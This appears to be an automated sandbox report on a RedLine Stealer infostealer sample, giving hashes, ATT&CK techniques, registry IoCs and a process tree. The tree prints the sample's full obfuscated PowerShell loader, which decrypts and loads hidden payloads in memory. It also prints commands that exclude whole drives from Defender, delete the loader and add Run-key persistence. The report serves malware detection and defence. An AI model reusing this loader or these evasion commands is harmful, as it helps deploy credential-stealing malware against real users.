redline | dc6226d88472e78b79c967c3d151400f1b6e69d7618efd430b64d35b2e20df2e

Analysis

max time kernel
81s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
28/01/2023, 02:25

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General

Target
46659078a8e155236eb59dce5f42baff.exe
Size 349KB
Sample230128-cv98hsfc4t
SHA256 dc6226d88472e78b79c967c3d151400f1b6e69d7618efd430b64d35b2e20df2e
MD5 46659078a8e155236eb59dce5f42baff
SHA1 a3b16f6d9d4ca219114984fd5dc3b4a115f4e666
SHA512 6ca3a9fb9ae4755d17e53a8c43598dca906e8d458eec603bbb0f1c6fdef623c0f3cf4e701941878fc8b392f377aaf834e06ce935e1209959ef417a6e6e53dc66
SSDEEP 6144:DXp0yN90QEpMu4jfhblv9dOb06N+bWWIrN+4+AwkZ22QUKBHrz28WyKzHP7bug5:+y90XV4rhpvu06N+bWWIrN+4dwi229mE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline discovery infostealer persistence spyware stealer

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

Executes dropped EXE 2 IoCs

pid	Process
1328	temp.bat.exe
5084	pFwTEuBIgf.bat.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	temp.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	pFwTEuBIgf.bat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	46659078a8e155236eb59dce5f42baff.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	46659078a8e155236eb59dce5f42baff.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker_pFwTEuBIgf = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\pFwTEuBIgf.vbs\""	temp.bat.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	temp.bat.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
1140	powershell.exe
1140	powershell.exe
1328	temp.bat.exe
1328	temp.bat.exe
4324	powershell.exe
1440	powershell.exe
1440	powershell.exe
4324	powershell.exe
4324	powershell.exe
4324	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
5084	pFwTEuBIgf.bat.exe
5084	pFwTEuBIgf.bat.exe
2204	powershell.exe
944	powershell.exe
2204	powershell.exe
944	powershell.exe
2204	powershell.exe
2204	powershell.exe
5084	pFwTEuBIgf.bat.exe
5084	pFwTEuBIgf.bat.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1328	temp.bat.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	5084	pFwTEuBIgf.bat.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	944	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 4668	4700	46659078a8e155236eb59dce5f42baff.exe	82
PID 4700 wrote to memory of 4668	4700	46659078a8e155236eb59dce5f42baff.exe	82
PID 4700 wrote to memory of 4668	4700	46659078a8e155236eb59dce5f42baff.exe	82
PID 4668 wrote to memory of 1140	4668	cmd.exe	84
PID 4668 wrote to memory of 1140	4668	cmd.exe	84
PID 4668 wrote to memory of 1140	4668	cmd.exe	84
PID 4668 wrote to memory of 1328	4668	cmd.exe	85
PID 4668 wrote to memory of 1328	4668	cmd.exe	85
PID 4668 wrote to memory of 1328	4668	cmd.exe	85
PID 1328 wrote to memory of 4324	1328	temp.bat.exe	89
PID 1328 wrote to memory of 4324	1328	temp.bat.exe	89
PID 1328 wrote to memory of 4324	1328	temp.bat.exe	89
PID 1328 wrote to memory of 1440	1328	temp.bat.exe	91
PID 1328 wrote to memory of 1440	1328	temp.bat.exe	91
PID 1328 wrote to memory of 1440	1328	temp.bat.exe	91
PID 1328 wrote to memory of 176	1328	temp.bat.exe	93
PID 1328 wrote to memory of 176	1328	temp.bat.exe	93
PID 1328 wrote to memory of 176	1328	temp.bat.exe	93
PID 176 wrote to memory of 3244	176	WScript.exe	94
PID 176 wrote to memory of 3244	176	WScript.exe	94
PID 176 wrote to memory of 3244	176	WScript.exe	94
PID 3244 wrote to memory of 1636	3244	cmd.exe	96
PID 3244 wrote to memory of 1636	3244	cmd.exe	96
PID 3244 wrote to memory of 1636	3244	cmd.exe	96
PID 3244 wrote to memory of 5084	3244	cmd.exe	97
PID 3244 wrote to memory of 5084	3244	cmd.exe	97
PID 3244 wrote to memory of 5084	3244	cmd.exe	97
PID 5084 wrote to memory of 2204	5084	pFwTEuBIgf.bat.exe	99
PID 5084 wrote to memory of 2204	5084	pFwTEuBIgf.bat.exe	99
PID 5084 wrote to memory of 2204	5084	pFwTEuBIgf.bat.exe	99
PID 5084 wrote to memory of 944	5084	pFwTEuBIgf.bat.exe	101
PID 5084 wrote to memory of 944	5084	pFwTEuBIgf.bat.exe	101
PID 5084 wrote to memory of 944	5084	pFwTEuBIgf.bat.exe	101

C:\Users\Admin\AppData\Local\Temp\46659078a8e155236eb59dce5f42baff.exe
"C:\Users\Admin\AppData\Local\Temp\46659078a8e155236eb59dce5f42baff.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "temp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -c #
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\temp.bat.exe
    "temp.bat.exe" function PF($q){$q.Replace('@', '')}$Xuve=PF 'En@tr@yP@oin@t@';$BawT=PF 'T@ra@nsf@or@m@F@in@alB@lo@ck@';$BzyB=PF 'GetC@ur@re@ntPr@oces@s@';$XSQd=PF 'Ch@an@ge@Ex@te@n@sio@n@';$IEFm=PF 'Spli@t@';$XxBL=PF 'Rea@dA@llTe@x@t@';$YUTd=PF 'Fro@mBa@s@e64@St@rin@g@';$Texk=PF 'Loa@d@';$hESV=PF 'In@voke@';$hUeT=PF 'Cr@ea@t@e@D@ecr@yp@to@r@';function INsRB($LPwZp,$LbFhM,$hbFTT){$OYRtI=[System.Security.Cryptography.Aes]::Create();$OYRtI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYRtI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYRtI.Key=[System.Convert]::$YUTd($LbFhM);$OYRtI.IV=[System.Convert]::$YUTd($hbFTT);$WMUCJ=$OYRtI.$hUeT();$ehtei=$WMUCJ.$BawT($LPwZp,0,$LPwZp.Length);$WMUCJ.Dispose();$OYRtI.Dispose();$ehtei;}function wigji($LPwZp){$fcdSe=New-Object System.IO.MemoryStream(,$LPwZp);$RwoHG=New-Object System.IO.MemoryStream;$BROtB=New-Object System.IO.Compression.GZipStream($fcdSe,[IO.Compression.CompressionMode]::Decompress);$BROtB.CopyTo($RwoHG);$BROtB.Dispose();$fcdSe.Dispose();$RwoHG.Dispose();$RwoHG.ToArray();}function VsVBI($LPwZp,$LbFhM){[System.Reflection.Assembly]::$Texk([byte[]]$LPwZp).$Xuve.$hESV($null,$LbFhM);}$IpEqm=[System.IO.File]::$XxBL([System.IO.Path]::$XSQd([System.Diagnostics.Process]::$BzyB().MainModule.FileName, $null)).$IEFm([Environment]::NewLine);$FGZBp=$IpEqm[$IpEqm.Length-1].Substring(2);$mDpEK=[string[]]$FGZBp.$IEFm('\');$Ghkeu=wigji (INsRB ([Convert]::$YUTd($mDpEK[0])) $mDpEK[2] $mDpEK[3]);$vDmqe=wigji (INsRB ([Convert]::$YUTd($mDpEK[1])) $mDpEK[2] $mDpEK[3]);VsVBI $vDmqe $null;VsVBI $Ghkeu $null;
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Adds Run key to start application
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1328);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1440
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:176
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3244
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w hidden -c #
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
      - C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe
        
        "C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe" function PF($q){$q.Replace('@', '')}$Xuve=PF 'En@tr@yP@oin@t@';$BawT=PF 'T@ra@nsf@or@m@F@in@alB@lo@ck@';$BzyB=PF 'GetC@ur@re@ntPr@oces@s@';$XSQd=PF 'Ch@an@ge@Ex@te@n@sio@n@';$IEFm=PF 'Spli@t@';$XxBL=PF 'Rea@dA@llTe@x@t@';$YUTd=PF 'Fro@mBa@s@e64@St@rin@g@';$Texk=PF 'Loa@d@';$hESV=PF 'In@voke@';$hUeT=PF 'Cr@ea@t@e@D@ecr@yp@to@r@';function INsRB($LPwZp,$LbFhM,$hbFTT){$OYRtI=[System.Security.Cryptography.Aes]::Create();$OYRtI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYRtI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYRtI.Key=[System.Convert]::$YUTd($LbFhM);$OYRtI.IV=[System.Convert]::$YUTd($hbFTT);$WMUCJ=$OYRtI.$hUeT();$ehtei=$WMUCJ.$BawT($LPwZp,0,$LPwZp.Length);$WMUCJ.Dispose();$OYRtI.Dispose();$ehtei;}function wigji($LPwZp){$fcdSe=New-Object System.IO.MemoryStream(,$LPwZp);$RwoHG=New-Object System.IO.MemoryStream;$BROtB=New-Object System.IO.Compression.GZipStream($fcdSe,[IO.Compression.CompressionMode]::Decompress);$BROtB.CopyTo($RwoHG);$BROtB.Dispose();$fcdSe.Dispose();$RwoHG.Dispose();$RwoHG.ToArray();}function VsVBI($LPwZp,$LbFhM){[System.Reflection.Assembly]::$Texk([byte[]]$LPwZp).$Xuve.$hESV($null,$LbFhM);}$IpEqm=[System.IO.File]::$XxBL([System.IO.Path]::$XSQd([System.Diagnostics.Process]::$BzyB().MainModule.FileName, $null)).$IEFm([Environment]::NewLine);$FGZBp=$IpEqm[$IpEqm.Length-1].Substring(2);$mDpEK=[string[]]$FGZBp.$IEFm('\');$Ghkeu=wigji (INsRB ([Convert]::$YUTd($mDpEK[0])) $mDpEK[2] $mDpEK[3]);$vDmqe=wigji (INsRB ([Convert]::$YUTd($mDpEK[1])) $mDpEK[2] $mDpEK[3]);VsVBI $vDmqe $null;VsVBI $Ghkeu $null;
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(5084);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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